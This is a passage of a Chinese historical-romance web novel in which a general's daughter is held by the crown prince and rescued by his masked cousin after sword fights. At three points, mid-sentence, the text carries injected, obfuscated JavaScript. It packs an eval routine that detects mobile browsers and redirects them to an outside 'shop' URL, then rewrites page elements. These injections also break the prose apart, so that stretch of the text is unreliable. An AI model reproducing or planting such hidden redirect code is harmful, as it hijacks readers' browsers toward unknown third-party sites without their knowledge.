等通知完了,夜幕已经降临,府里头开始掌灯,她问路上偶遇的小厮二姑娘可回了,小厮说不曾见着,她未再多言,摆手让小厮离开了。 最近二姑娘心情不好,今日难得出门,多逛一会也挺好。 想着这个辰点人她也该回了,富春姑姑向前院走去,到前院,正巧碰见有两人从侧门进来,她忙迎上前去。 走近一看,发现兰亭两眼通红,明显是哭过了,再向旁边一扫,见时侍卫下颌线紧绷,周身萦绕着一股山雨欲来的冰冷气息。 她越发奇怪了,可往两人身后望去,却未瞧见二姑娘的踪影,遂问道:“发生了何事?” 兰亭闻言面色陡然一僵,旋即控制不住地大哭道:“姑姑,二姑娘不见了。” “什么?二姑娘不见了!”富春姑姑惊叫一声,整个人如遭雷击,一时间失去了反应。 “麻烦姑姑通知府中的侍卫领队在前厅集合。”谢烜赫这时插话进来。 “好好好。”富春姑姑回过神来后慌忙点头,虽然她心里满是疑问,但也知道现在不是问话的时候,说完急忙转身去叫人了。 待富春姑姑离开,谢烜赫和兰亭也紧随其后迈步往前厅走去,到了厅内两人沉默地站着等候,空气里一片安静,只能听见烛台里火星子爆裂的声音。 过了一会,富春姑姑、毕定边、纯钧和方天前后脚进屋,四人神色都很凝重,路上,另外三人已经从富春姑姑口中得知了二姑娘失踪的情况。 “二姑娘如何会不见的?”走到厅堂中央,毕定边开口询问。 兰亭扫过望着她的众人,他们眼里写满焦虑与担忧,她开始诉说经过:“二姑娘探望完苏先生以后,回来的路上说是想上街逛逛,于是马车便在街口停下,她吩咐时侍卫去买画纸,然后和婢子在街上随意地闲逛,走到怡口香,她说想吃糕点,便让婢子去买,自己则在铺外等着,婢子买完糕点出来,发现二姑娘人不在,忙在附近的店铺寻找,然而并没有发现二姑娘的踪迹,后来时侍卫回来了,婢子把事情同他一说,他便叫上车夫一起寻找,可是将附近几条街找遍了也不曾找见二姑娘……” 说着说着,她心里又难受起来,眼泪迅速在眼眶里聚集。 毕定边紧皱着眉头,整个人焦躁不安,身为府里的侍卫长,二姑娘失踪了,他有逃脱不开的责任,况且二姑娘尚未婚嫁,若是落到歹人手里就不好了。 他越想越焦虑,然而二姑娘的行踪听起来很正常,他实在抓不住丝毫头绪,于是求助地抬眼向站在不远处的时侍卫看去,却见一向冷静自若的他双唇紧抿,两眼布满细红的血丝,似乎在极力克制自己的坏情绪。 虽说自己是侍卫长,但时侍卫与大将军、少将军和二姑娘的关系匪浅,且功夫和胆气皆在他之上,想了想,毕定边试探着询问意见道:“我们现在该怎么办?” 谢烜赫闻声,停滞不动的眼睛终于眨了一下,从自己的情绪中抽离出来,他的视线在厅里的每个人身上掠过,然后肃声道:“让府里的侍卫在城中秘密寻找,就算是把城翻过来,也要将人找到。” 自此,府中侍卫开始分批出动,以街市为中心向外排查寻找,白天侧门卫队进进出出,夜晚前厅灯火通明,众人齐聚。 然而,每次回传的结果都不理想,外出搜寻的侍卫们个个气馁不已,在家等待的仆从们也个个面带忧色,整个将军府上下都弥漫在焦虑与不安之中。 第三日过午,毕定边带队搜寻回来,他步入前厅进行例行报告,所有人闻声齐齐看过来,在众人期待的目光下,他摇了摇头。 富春姑姑黯然收回视线,一想到自己从襁褓时期呵护着长大的孩子不见了,她胸口便疼得像刀绞一样,若是二姑娘出事了,她怎么对得起九泉之下的夫人呐。 泪水不受控制地从眼眶里滑落,兰亭拼命咬着下唇,不让自己发出声音,她不想给这个混乱紧绷的局面再增添一丝烦恼。 又候了两个时辰,方天那一队也回来了,和先前一样,大家都期待地望着他,也和先前一样,他沉默地对众人摇了摇头。 “唰!”一声,谢烜赫从座位上起身,此刻他脑内绷紧的那根弦彻底断裂,三天了,这三天里,焦虑如同烈火在他心上肆虐,他的心快烧成了废墟,如今已忍到了极限。 其实,他脑子里并非全然没有线索,黎世伯为人处世进退有度,黎书意更不是树敌的性子,这个时机能对黎书意动手的就那么一个。 先前他虽然想到了,但总觉得身为一国之君没必要用这样的方式,可如今找了三天却还是杳无音信,那么他只能认为是皇帝做的了,或许今晚他该再夜探一次皇宫。 “主子,查到了!”正在这时,纯钧大步流星跨入屋中。 谢烜赫闻声看着他,“说!” “据探子打听,有路人前日傍晚撞见一个穿杏色衣裳的女子被人抬进了太子府。” “太子府……”谢烜赫轻念着这三个字,猜测着谢煜然掳人的动机,忽然他眸光一闪,想着或许是自己的身份在他那里暴露了,心不禁一下子紧缩起来,担忧谢煜然会迁怒于黎书意,便忙道,“准备二十人,天黑了随我去救人。” 纯钧闻言一顿,劝道:“主子,营救黎二姑娘的事请交给卑职,您不能去,那里太危险了。” “不,我必须亲自去。”谢烜赫说得坚决,他自然知道那里很危险,但是他必须得去,因为他要救的那个人不仅是将军府的掌上明珠,更是他放在心尖上的人,他不能让她有任何一点闪失。 …… 夜色如墨,万籁无声,一群身着黑衣的暗卫悄无声息地向太子府逼近,旋即深巷的尽头出现一人,地上的影子拉得长长的,他一步一步走着,最后在府邸东侧停下。 谢烜赫抬头望着面前这座华美的府邸,他曾数次以客人的身份造访这里,游园、对弈、品酒、比武……对于府里的布局十分清楚,他知道这里守卫最薄弱。 右脚轻点地面,他飞身跃上高墙,再轻盈落地,时而踏瓦而行,时而倚墙而走,终于来到了正院。 抬眼往正前方的五间上房一扫,见书房里亮着灯,门口并无双诫的身影,只有两个寻常的侍卫,摆明了请君入瓮。 到了此处,他无法再遮掩踪迹,抓准时机趁其不备,他打晕了轮值的侍卫,最后推开了房门。 屋内书架林立,正对面是一张紫檀大案,大案内侧坐着一个穿明黄色锦袍的少年,整个人笼罩在案头烛火柔和的光晕里,听见动静,他抬头看过来。 见到自己,他神色并不意外,像是等候已久一样,还淡淡问候了一句:“你来了。” “她在哪?”谢烜赫单刀直入。 “一年没见了,不让兄长看看你的脸吗?”谢煜然从座位上起身,径直朝他走来。 既 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545749|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然身份已经被看穿了,这张面具便没了作用,谢烜赫沉默着抬手揭开了面具。 记忆里的脸清晰地呈现在自己眼前,猜测被印证,谢煜然轻嗤出声,笑自己疏忽大意,惋惜地叹一句:“当初孤要是多怀疑一下就好了。” 谢烜赫未接话,回归正题问道:“她在哪?” “她在孤这里很好,你不必担心。” “我要带她走。” 带她走,谢煜然看着面前这个登堂入室的家伙,通知而非商量的口气点燃了胸腔里愤怒的火种,他反问:“你凭什么?” “我答应了她父兄好好照顾她。” “多么冠冕堂皇的理由,难道不是为了你自己?”谢煜然冷哼一声,怒视着眼前之人,而后忍不住又一次想起这人背着自己处心积虑地接近黎书意,最后还成功了的事实,于是心里的怒火越烧越旺,继而彻底爆发了,他厉声质问道,“谢烜赫,兄弟妻不可欺,你怎么敢?” 谢烜赫嘴唇轻抿,沉默地看着指向自己的手指,他知道总有那么一天,这事会挑开来明说。 良久,他开口指出道:“是你主动放弃了她,再说,横刀夺爱的人是你。” “哼。”谢煜然闻言轻哼一声,是的,他也不够光明磊落。 那年他十四,少年心性未褪,结束了繁重的课业,偶尔会换上便服出宫游玩,那天他正在大街上闲逛,耳边传来了求救的呼喊声,他循着声源走到巷道口,看见一个豆蔻年华的少女正被一个五大三粗的莽汉死命地拖拽着。 他手一挥,身后的侍卫立刻上前,三两下便制服了那莽汉。 他也走上前去,温声安抚着少女,少女抬头道谢,露出一张芙蓉秀面,她五官生得极精致明艳,便是他这种见惯了美人的,也被惊艳到了,加上少女刚刚哭过,就显得更加惹人怜爱了。 看她受了不小的惊吓,身边又无人陪着,他便主动提议说送她回府,少女点头应了,于是他们破格同乘一车。 坐在车上,他问少女家住何处,少女说了地址,他一听愣住了,这地址他十分熟悉,于是知道身边这位是大将军的女儿,他伴读的妹妹。 路途略长,为了拉进距离,不至于冷场,他没有隐藏身份,少女听后一惊,旋即向他见礼,他笑笑,主动与少女攀谈起来,多数以她的兄长为话题。 从被歹人强掳的恐惧和与陌生人相处的尴尬中慢慢抽离出来,少女显露出灵动娇俏的本性来,这一路的闲聊让他对她好感更添了几分。 不知不觉间,马车停下了,他们掀开车帘从车上下来,往将军府门口瞧过去,见那里站着一群人,每个人都面带焦急担忧。 看到他们,大家惊愣过后,下一刻齐拥过来,少女被母亲抱住,大将军和黎长策走过来向他见礼,然后对他千恩万谢。 他虽然与黎长策关系交好,却从未登门拜访过,而这之后,他开始光顾将军府,且次数越来越频繁。 后来,他确实从别人口中了解到她与自己的堂弟有口头上的婚约,可是他抱着侥幸心理,心想堂弟不一定就喜欢她,他日后也会为堂弟另觅良配的。 痴缠了近两年,黎书意终于接受了他的感情,某次相会时他开玩笑还就她与谢烜赫的娃娃亲提过一嘴,发现少女压根不在意,便彻底没了心里负担。 没几天,谢烜赫入皇城弘学馆读书,他看出了自己的堂弟对黎书意的心思,然而那时他对黎书意的感情越发深了,根本不可能让给别人,甚至每次发现谢烜赫暴露出对他的忮忌,他会忍不住得意。 91. 救兵 从往事中抽离出来,谢煜然眸子重新聚焦,对着控诉自己的人态度强硬地说道:“孤不可能把她交给你,然后看你们双宿双飞,她会是孤的太子妃。” “你疯了吗,你已经有太子妃了!”谢烜赫忍着怒气质问。 “孤没疯!”谢煜然厉声反驳,顿了顿,又自顾自道,“做错了选择那就修补好了……” 修补,如何修补,是能让皇室放下对将军府的猜忌,还是能接受黎书意不安于室。 别说不可能,就算是可能,谢烜赫也不允许,虽然他不确定他和黎书意还有没有以后,但他知道她不会愿意待在谢煜然身边。 见说不通,他目光凛冽地紧盯着谢煜然,拔出斩霄剑将剑刃对准了自己的兄弟,语气坚决道:“既然你不交,那我只能主动抢了。” “也好,”谢煜然见状笑了,说着也抽出了挂在墙上的佩剑,对着面前的人道,“让兄长看看你毫无保留的身手。” 话落,他持剑向前欺近,长剑带着凌厉的剑势直刺谢烜赫胸膛,谢烜赫反应迅速,侧身一闪,轻松躲过这一击。 攻击落空,谢煜然立刻变招,长剑横扫,霜白剑气横空飞掠,谢烜赫利落地举起斩霄格挡,两剑相交,发出清脆的撞击声。 …… 三天了,虽然暗室里不辨日月,但是依据每日送来的饭食,黎书意知道自己已经被关在这里三天了。 刀悬头顶,他们的时间本就紧迫,偏生自己还在这时失踪了,一想到这,她就急的不行。 “唰!”一下从床上站起,她控制不住地想要在房间里踱步,以消解心头的烦躁,然而才一动作,脚下的铁链便叮当作响。 前日,看着她吃完饭后,谢煜然强硬地将铁链戴到她脚上,铁链很长,能满足她室内活动所需,只是不绝于耳的叮当声十分扰人,她越听心越慌,最后只得重新坐下。 她必须尽快离开这里,然而目前她所能接触到的人只有谢煜然和一位伺候起居的侍女,侍女是一个聋哑人,不同她交流,只伺候饭食与梳洗,看来她只能从谢煜然身上动手。 她攥紧了拳头,想着等会谢煜然来了,自己表现得乖顺点,然后趁其不备将其敲晕,最后再偷钥匙离开。 打定了主意,她环视房里,开始找寻趁手的器物,最后挑中了一个瓷瓶,把它藏在床头,她静静等候着谢煜然的到来。 房内烛火摇曳不定,她不时朝门帘那边看去,却始终不见人来,眼皮不禁越来越沉,一想到又要多待一日,她心里便觉得不甘。 正在灰心丧气之际,听见石门滑动,接着响起了细碎的脚步声。 她心中重新燃起希望,忙抬眼朝门帘那头看去,却见一个身着淡黄色襦裙的清丽女子快步走了进来,看清了来人,她心里先是一阵失望,继而又转为好奇与担忧。 因为摸不清楚庞悦瑛的来意,所以她什么话也没有说。 这一恍神的功夫,庞悦瑛已经走近了,她看着自己道:“我是昨天发现的。” 黎书意依然沉默地注视靠近的人。 到了她跟前,庞悦瑛蹲下身来,措辞了片刻,慢吞吞道:“我们虽见过几面,却从未好好说过话,我想问,你恨不恨我夺了你的太子妃之位?” “不恨。”虽然不清楚庞悦瑛为什么问这个,但黎书意还是回答了,“就算没有你,也会有其他人的。” 这个回答似乎安慰到了庞悦瑛,她径自往下说起来:“我和他之间什么也没有发生,他心里的人始终是你,而我只是父亲和继母用来攀高门的工具,我对他没有任何感情,等时机合适了我会主动离开。” 说到这,她顿住,抬眼凝视着黎书意的眸子,试探地问:“你当真不想与他成婚了?” 闻言,黎书意不假思索地摇头,解释道:“我和他之间的问题不是这么简单的,再说,我已经不喜欢他了。” “这样啊……”这话说出口之后,庞悦瑛似乎完全没了心理负担,旋即她低头敛眉,陷在自己的思绪里。 黎书意望着面前的人,就这片刻的观察来看,她知道这位姑娘不是来兴师问罪的,而是觉得夺了她的位置,来向她道歉的。 她原本就不怪庞悦瑛,此时更是生出几分好感来,感慨面前的姑娘也是一个心地善良的人,只是迫于无奈不得已而为之。 紧接着,她的心思忽然一动,想着她或许可以找庞悦瑛帮忙,可是该怎么开口呢…… 正在她忖度着要如何说服之际,却见庞悦瑛从怀里拿出一把钥匙,然后兀自插进锁孔,转动起来。 “你为何帮我?”黎书意诧异地发问。 庞悦瑛一脸诚恳地说:“你不愿意。” “可你帮了我,他会责怪你的。” “轻责骂两声,重则禁足,不会有什么的。”庞悦瑛云淡风轻道。 虽然很想让她帮自己,但是黎书意觉得就这么跑实在太冒险了,怎么着也得先筹谋一番,否则这位姑娘会有被责罚的危险,而自己若是逃脱失败了,下次就没那么容易了,于是便劝道:“他一会就该来了,再说府中那么多精锐侍卫,如何逃得出去?” 庞悦瑛手上动作不停,一边开锁一边说:“他现在没法过来,府里似乎有刺客潜入,我是听见书房有刀剑声,知道他分身乏术这才赶过来的。” 刺客,黎书意诧异极了,什么人竟然敢夜闯太子府,而且为什么还能和谢煜然打起来,双诫和其他侍卫呢? 下一刻,她的脑袋里突然生出一个大胆的猜测,想着该不会来的人是谢烜赫吧,毕竟这样才能解释前面的疑问。 如果是这样的话,她逃出去的胜算的确大了许多,她并非矫情的人,见此情形就没有再多言。 很快两把锁都被解开了,她的脚顿时恢复了轻松自由。 “快走,出去了再换衣服!”庞悦瑛催促。 “好。”黎书意话不多说,径直随她出了密室。 待穿过黑暗的过道,通过厚重的石门,她们进到了一间铺陈华丽的房屋,原来密室竟在卧房内侧,她从未踏足过这里,自然发现不了背后的玄机。 “快,把衣服换上!” 扫看间,庞悦瑛往她怀里塞了一样东西过来,她低头,见是一套粗糙的布衣。 庞悦瑛有些抱歉地向她解释说:“府里守卫严密,要出去不容易,只能委屈你扮做运泔水的下人。” “无事。”她并不介意,当即就地脱掉外裳迅速换上,又把头上的簪钗全部退下,然后扯了根布条,为自己绾了一个妇人发髻。 乔装好,她们朝外间走去,就在她匆匆迈步之时,衣角不经意间扫到了放置在一旁的烛台,烛台顿时失去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545750|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了平衡,微微晃动起来,台上的蜡烛向一侧倒去,随着一声轻微的“哐当”声,蜡烛滚落在地,火光在地上跳动着,显得格外刺眼。 她连忙捡起,然后吹灭了烛火。 庞悦瑛已经走到了门口,她“哗”一下打开门,转头看来,黎书意急忙跟上,三脚两步去到她身边。 为了不引起怀疑,她们一改之前慌张的姿态,出门之后两人从容地朝前走。 黎书意紧随在庞悦瑛身后,就像一个寻常仆妇一样,微低着头跟着自己的主子。 等到了无人的地方,她们重又放开步子,行步如飞地往后厨跑去,在那里,送泔水的老妇人已经等着了。 向庞悦瑛道了谢,黎书意走到泔水车旁,跟着拉车的老妇人往太子府后门去了。 …… 书房,“哐当!”一声,兵刃落地,发出铮鸣。 看着从手中滑落的剑,谢煜然自嘲一笑,然后朝对面看去,“果真从前赢你皆因你让孤。” 谢烜赫没说话,他从地上捡起面具戴好,从小父王母妃便教他要注重君臣之道,所以即便不愿,他却不得不为之。 “咚咚咚!” 门外忽然传来急促的敲门声,打破了诡异的寂静,只听见双诫着急地报说:“太子殿下,大事不好了,卧房走水了!” “什么!”谢煜然闻言心头一跳,目光立时从谢烜赫身上移开,然后快步流星走到门口,打开门便朝外跑去。 见他惊慌至此,谢烜赫猜测黎书意可能在那,因此也跟着去了。 双诫一早就知道房中有刺客,也知道这个刺客的身份,所以当银面男子从他身边走过时,他没有显得太过惊讶,只好奇地打量着这个熟悉的陌生人。 当谢煜然和谢烜赫赶到卧房时,只见里面火光四起,烟雾弥漫,下人们正一桶一桶从外边运水进来灭火。 顾不得许多,谢煜然往火势小的地方穿行,快步来到桌几旁,然后抬手将花瓶向右扭动一圈,伴随着石磨转动的声音,旁边出现了一扇门,门还未完全敞开,他已经闪身进门了。 谢烜赫紧随其后,由于大家正忙着救火,根本没人管他。 好在火势并未蔓延进密室,只是过道里烟雾缭绕,有些闷热。 谢煜然快步往内走,到了里间,他移目四扫,发现桌案、坐榻和床上皆不见黎书意的身影,只在地上瞧见一堆杂乱的锁链,他不禁胸口一阵窒息。 谢烜赫后脚进屋,看到的是同一副场景,忙问:“她人呢?” “不知道。”谢煜然摇头,表情慌乱。 寻不见人,两人失魂落魄地离开密室。 转回卧房,房中的火已经扑灭了,珍贵的木制家具变成了废柴,华美的绫罗绸缎变成了破布,此时正冒着灰烟,空气中充斥着刺鼻的味道。 谢煜然并未关心满地的狼藉,向双诫下令道:“吩咐下去,紧闭府门,不得放出一人!” 听见他要闭府抓人,谢烜赫沉声质问:“你为何一定要违背她的意愿行事?” “别端着一副胜利者的姿态对孤说教!”谢煜然朝他吼了一句,然后向外走去。 谢烜赫也未再与之理论,虽然不知道黎书意是如何从密室里逃走的,但是在这么短的时间内,她应该还未出府,当务之急得先找到她,然后带她走。 92. 夺人 明月高悬,夜阑人静,手推车车轮碾在石板路上“骨碌碌”作响,车上泔水桶里飘出酸腐难闻的气味,黎书意一手虚扶着车沿,默默跟着运泔水的仆人一步步朝后门走去。 望着近在咫尺的大门,她每一步都走得很小心,门的两侧,四位身着铠甲、手持长枪的守门侍卫如青松般挺立。 终于推车来到了门口,“唰!”一声,守门侍卫落下长枪,阻拦了她们的去路。 一名侍卫走了过来,他隔着距离查看推车上的木桶,接着目光转到了她们身上,上下打量起来。 整个过程黎书意都屏息凝神,她刻意将头微微埋低了些,面上故作镇定,直到听见“可以了”三字,心头才长舒了一口气。 然而,就在车轮重新开始转动,她即将要迈出大门的那一刻,背后忽然跑来一名侍卫,他洪声喊道:“太子殿下有令,关闭府门,任何人不得出府。” 不好,黎书意闻言心里咯噔一下,看来是谢煜然已经发现她逃跑了。 盯着在眼前慢慢合上的朱漆大门,她的脑海里闪过不顾一切往外冲的念头,可当看见两边手执长枪的守卫时,最终还是按耐下来了。 “啪嗒啪嗒!”脚步声逐渐接近,不多时,一小队人马赶至门口。 “太子殿下!”周围的人齐声唤道。 黎书意赶紧垂下头,装模作样地跟着叫了一句,希望能侥幸逃脱,奈何天不遂人愿,下一刻谢煜然朝她走了过来。 “你,抬起头来。” 声音在头顶响起,犹如面对汹涌奔来的洪水,黎书意被即将吞噬的恐惧所笼罩,心里只觉得绝望,若此番被抓住,不仅庞姑娘会受到责罚,她以后再想逃跑也会更加困难。 “没听到吗?孤让你抬起头来。” 见她不动,谢煜然主动上前一步,手抬了过来。 就在这时,一道黑影疾风般拦在她身前,嗅到了那股熟悉的清冽香味,她的心突然就安定了几分,所以,刚刚的刺客果真是谢烜赫。 谢煜然冷睨着面前的两人,这是意识到时野就是谢烜赫之后,黎书意首次与他站在一起,看见少女安然自若地躲在他身后,而谢烜赫一副保护者的姿态,这一幕令谢煜然怒不可遏。 将目光挪到那张银面背后的黑眸之上,他缓慢而冷肃地吐出一句话:“既然你非要与孤作对,那就别怪孤不留情!” 话音落下,他手中长剑一挥,如闪电般刺向谢烜赫。 谢烜赫眼神一凛,立时举起斩霄剑,精准地挡住这凌厉的一击。 下一刻,谢煜然手腕急转,剑势如狂风般横扫过来,谢烜赫迅速向后一跃,避开锋芒,然后挥剑反击,手中斩霄剑影纷飞,与谢煜然的剑不断碰撞,激起火星点点,双方出招越发迅捷,招式越发凌厉,声音短促而密集。 就在这时,附近潜伏着的祈安阁的暗卫们如同鬼魅一般现身了,他们身着黑衣,行动迅捷,顷刻间汇入后院,在谢烜赫周围聚拢,太子府中的侍卫们见状也纷纷拔剑相向。 院里一片混乱,刀光剑影闪动个不停,仿佛无数银蛇在空中乱舞,叫喊声、金属撞击声交织在一起,打破了夜的宁静。 为避免被人钻空子,谢烜赫往后朝黎书意递出自己的手道:“抓紧我的手!” 黎书意应声递上自己的手。 两人拉在一起的手刺痛了谢煜然的眼,像是被灌了一整坛陈年老醋,他腹中火烧火燎,几乎要将理智灼烧殆尽。 赤红着双目,他猛地向前一刺,剑刃带着尖锐的啸音直逼谢烜赫胸膛,见最终未能得手,接着又迅速横扫再攻。 谢烜赫一边拉着黎书意的手,一边沉着冷静地应对着谢煜然一招猛似一招的攻击。 渐渐地,谢煜然的招式开始变得混乱,攻击也失去了之前的精准和力度。 谢烜赫敏锐地察觉到了这一点,遂立刻抓住机会反击,他长剑一抖,剑法变得更加凌厉,剑势如潮水般向谢煜然涌去。 谢煜然应对不及,节节败退,很快落了下风。 恰在这时,谢烜赫的左手被拉了一下,接着听见黎书意的呼喊声:“快,往门边走!” 谢烜赫闻声望过去,见纯钧、方天已经带领其他暗卫们成功开路,此刻府门大开,正是突围的好时候,于是他毫不犹豫地拉着黎书意的手,快速向府门外奔去。 看着如风般携手从眼前逃离的二人,谢煜然的脸上满是愤怒、痛恨和不甘,他提步在后面疯狂地追赶。 夜色浓重,长巷空空荡荡,不见一个行人,两侧的屋宇被黑暗吞噬,四下只有金戈的嗡鸣,冲出府门以后,黎书意和谢烜赫往长巷右侧跑。 然而没跑出几步,谢煜然便追了上来,他提剑继续阻拦,宛如一头被激怒的凶兽,疯狂地攻击着。 谢烜赫身影穿梭,防守进攻有度,剑风迅猛,每一招都带着强大的气势,两柄利剑在空中不断碰撞,剑影交错之间,发出惊心动魄的声响。 火星四溅中,两人的身影如同幽魂般缠绕移动,突然,谢烜赫一个侧身,避开了谢煜然的猛刺,接着再反手一击,谢煜然虽急忙回剑抵挡,但到底慢了一步,斩霄剑最终划伤了他的右臂。 看见少年袖口上渗出的鲜血,黎书意到底于心不忍,她对失去理智的人高声喊道:“谢煜然,你就放我走吧。” 谢煜然闻声目光向旁边划动,阴戾的神色慢慢转柔,他望着少女,乞求地问:“回我身边好不好?” 黎书意坚定地摇头,冷静地说:“我从前就说过,我和你之间的矛盾是不可调和的。” 这句话令谢煜然的眸光染上哀意,心中的痛苦如潮水般涌来,几乎将他淹没。 望着眼前苍白而失落的脸,黎书意有一瞬的松动,虽然谢煜然曾辜负了自己,但他在她心里还是那个德才兼备,出类拔萃的西景太子,况且他与兄长、谢烜赫关系亲近,她不希望大家反目成仇。 然而,她真的受够了无休止的纠缠,尤其这次谢煜然的做法过火,想到这,她的心又恢复坚硬,于是狠心地补上一句道:“再说,我已经不喜欢你了。” 心像是被利刃捅开一个窟窿,撕心裂肺的痛让谢煜然难以呼吸,他握剑的手忽然失力,剑“咣当”一声掉在地上,右臂传来一阵尖锐的疼痛,血顺着手指向下“啪嗒啪嗒”滴落,像是流泪的声音。 谢煜然未加理会,只木然地看着心爱的女孩悲悯地望了他一眼,然后毅然决然地转身上马,被另一个男人载着走了,再没有回头。 趁着无边月色,黎书意和谢烜赫逃离了太子府。 在确定身后追兵未再追赶以后,祈安阁那群暗卫便悄无声息地脱离了队伍,消失不见了,最后只剩下他们、纯钧和方天四人。 马蹄阵阵,在巷道里穿行许久,他们终于回到了将军府。 府门刚一打开,得到门房的通传,富春姑姑、兰亭和毕定边便急急忙忙赶过来。 黎书意人还未走至前厅,大家已经一拥而上。 富春姑姑后怕地叹道:“哎呦,可算是回来了,要是二姑娘有个好歹,老仆如何向大将军交代,又如何向九泉之下的夫人交代啊!” “呜呜……”兰亭竟是哭了出来,走到她面前,垂着头自责地说,“都怪婢子那日没看紧您,让歹人抓到了空子,婢子有罪。” “行了,”黎书意摸了摸她的头,笑着安慰,“他若是想,十个你也拦不住,况且我这不是没出事嘛。” 此时夜已深,见大家面容憔悴,想来近几日为她的事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17545751|204135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 担了不少心,于是她挥手遣散了众人,让他们好生去休息,旋即与谢烜赫、兰亭回载驰院了。 几天未归,院里一切如常,看到卧房里的一桌一榻,黎书意终于放下那颗久悬着的心。 她抬脚走向广榻,叹息着悠悠坐下,下一刻兰亭贴心地递上了热茶。 “二姑娘这几日可曾受苦?”兰亭问,尽管二姑娘回来了,她心里却还是担忧,太子这次的行为颠覆了他在她心里的形象,她怕太子强迫二姑娘,便忍不住问出了口。 黎书意抬起杯盏,这一晚消耗了太多体力,她早渴了,咕咚咕咚饮了几口茶,放下杯子后她回答道:“我无事,除了被限制自由之外,一切都好。” 闻言,兰亭松了口气。 心绪稍定,黎书意忙朝旁边瞥去,见谢烜赫安静地站在一旁,身上穿的还是夜行衣。 杀出太子府时过于仓皇,回来的路上又人多口杂的,一直寻不到机会说话,如今她有很多话想问,想到这,便转头道:“兰亭,我有些话要同他说,你先出去吧。” “是。”兰亭依言退下。 她走后,黎书意起身下榻,来到谢烜赫面前,追问说:“我听闻今夜你与谢煜然在书房里比剑,可有受伤?” “放心,我没事。” 黎书意将人从头到脚扫了扫,见的确没发现伤口,脸色也还算不错,才终于放下心来,接着她仰起头,歉疚地道:“你不该亲自出面的,想必不日你的身份就该暴露了。” 谢烜赫移开了目光,“我答应了世伯和长策要好好照顾你,这是应该的。” 不知道是不是错觉,黎书意总感觉自从这人得知仇人是皇帝以后,对她的态度便不那么热情了。 正兀自想着,听见谢烜赫问:“对了,你是如何逃出来的?” 算了,眼下正事要紧,黎书意没在这事上多纠结,回答说:“是庞悦瑛救的。” “她看起来是个不错的姑娘。” 黎书意点头,不由想起了密室里的那番对话,只希望这姑娘有一日也能挣脱牢笼吧。 叹息一声,她转而问道:“对了,我离开的这几天,将军府可曾发生过什么?” “昨日刚收到你父亲的回信。”谢烜赫说着,将一张折叠好的纸张递到她面前。 黎书意快速展开来阅看,被谢煜然囚禁的这几日,她一直牵挂着父兄那边的情况。 “为父曾经不是没想过这个可能,但终究是不愿如此推测,没想到结果确实如此,烜赫贤侄的提议极有道理,目前回孟章于形势不利,但是为父也不能留你一个人面对,所以同你兄长商量了一下,他已经带走大部分人马回去复命,我则领着黎家军精锐暂时留在麒越。” 孟章是皇城,父亲回朝必受钳制,只有他们分散开来,一方有难时,另一方才可以支援,不至于被一网打尽。 虽然过程中出现了不少波折,但总体上还是在按照计划推进的,这让黎书意稍稍安了几分心,只是到底还是无法彻底落归原位,眼下还有最重要的一点需要落实,确定了才好做打算。 “你说,皇帝是否清楚你已经知道他才是……他会不会……”她断断续续试探着问谢烜赫。 谢烜赫面色凝滞了一息,旋即平静地分析起来:“这依据他对我们知晓的程度而定,如果他认为我们不清楚真相,可能会先采取安抚的策略,然后再从长计议,如果他认为我们已经清楚了真相,便是杀之而后快了。” 黎书意闻言敛眉沉思,片刻后道:“那你说他知道吗?” “应是不知道。”谢烜赫说。 这个秘密是梁甫告诉他的,虽然线人报说皇帝曾去天牢探视过一次,但是梁甫应该没有说什么,否则就不会这么安静了。 93. 召见 晨光绚丽,万物初醒,院里草木点翠,春意渐盛,朝露裹着花叶,莹莹闪光。 载驰院正房里“叮当”声一片,黎书意站在几只描金箱子前,正清理着自己的小金库,银钱什么的她丝毫未动,动的全是金银首饰。 她爱美,花在打扮上的钱财着实不少,这不,才一个早上就整理出来几大箱子。 望着璀璨夺目的珠宝,她的心在滴血,这当中有别人赠予她的,有她在首饰铺里精挑细选的,也有她亲自绘制样式差工匠打制的,然而以后她恐怕不能再保留它们了。 虽然将军府目前还未出事,但是她必须做好最坏的打算,一旦逃亡了,这些华美的首饰就会变成负累,因此只能忍痛舍弃。 她是挑了又挑,拣了又拣,终于确定好哪些是必须带走的,它们都是父母、兄长、谢烜赫等重要之人送的礼物。 剩下的,一部分她赏给了亲近的下人,另一部分因为有徽记,不能随意处置,便只能放在箱子里落灰了。 收拾好已是巳时,小厨房正好开始传午膳,净了手,她在食案边坐下。 案上面点、素食、炖肉等菜类多量足,色形香俱佳,已经有几日没好好吃饭了,熟悉的菜香顿时唤醒了她的胃口。 吃到一半,前院的一位侍女急匆匆来报,说是宫里的王嬷嬷来了。 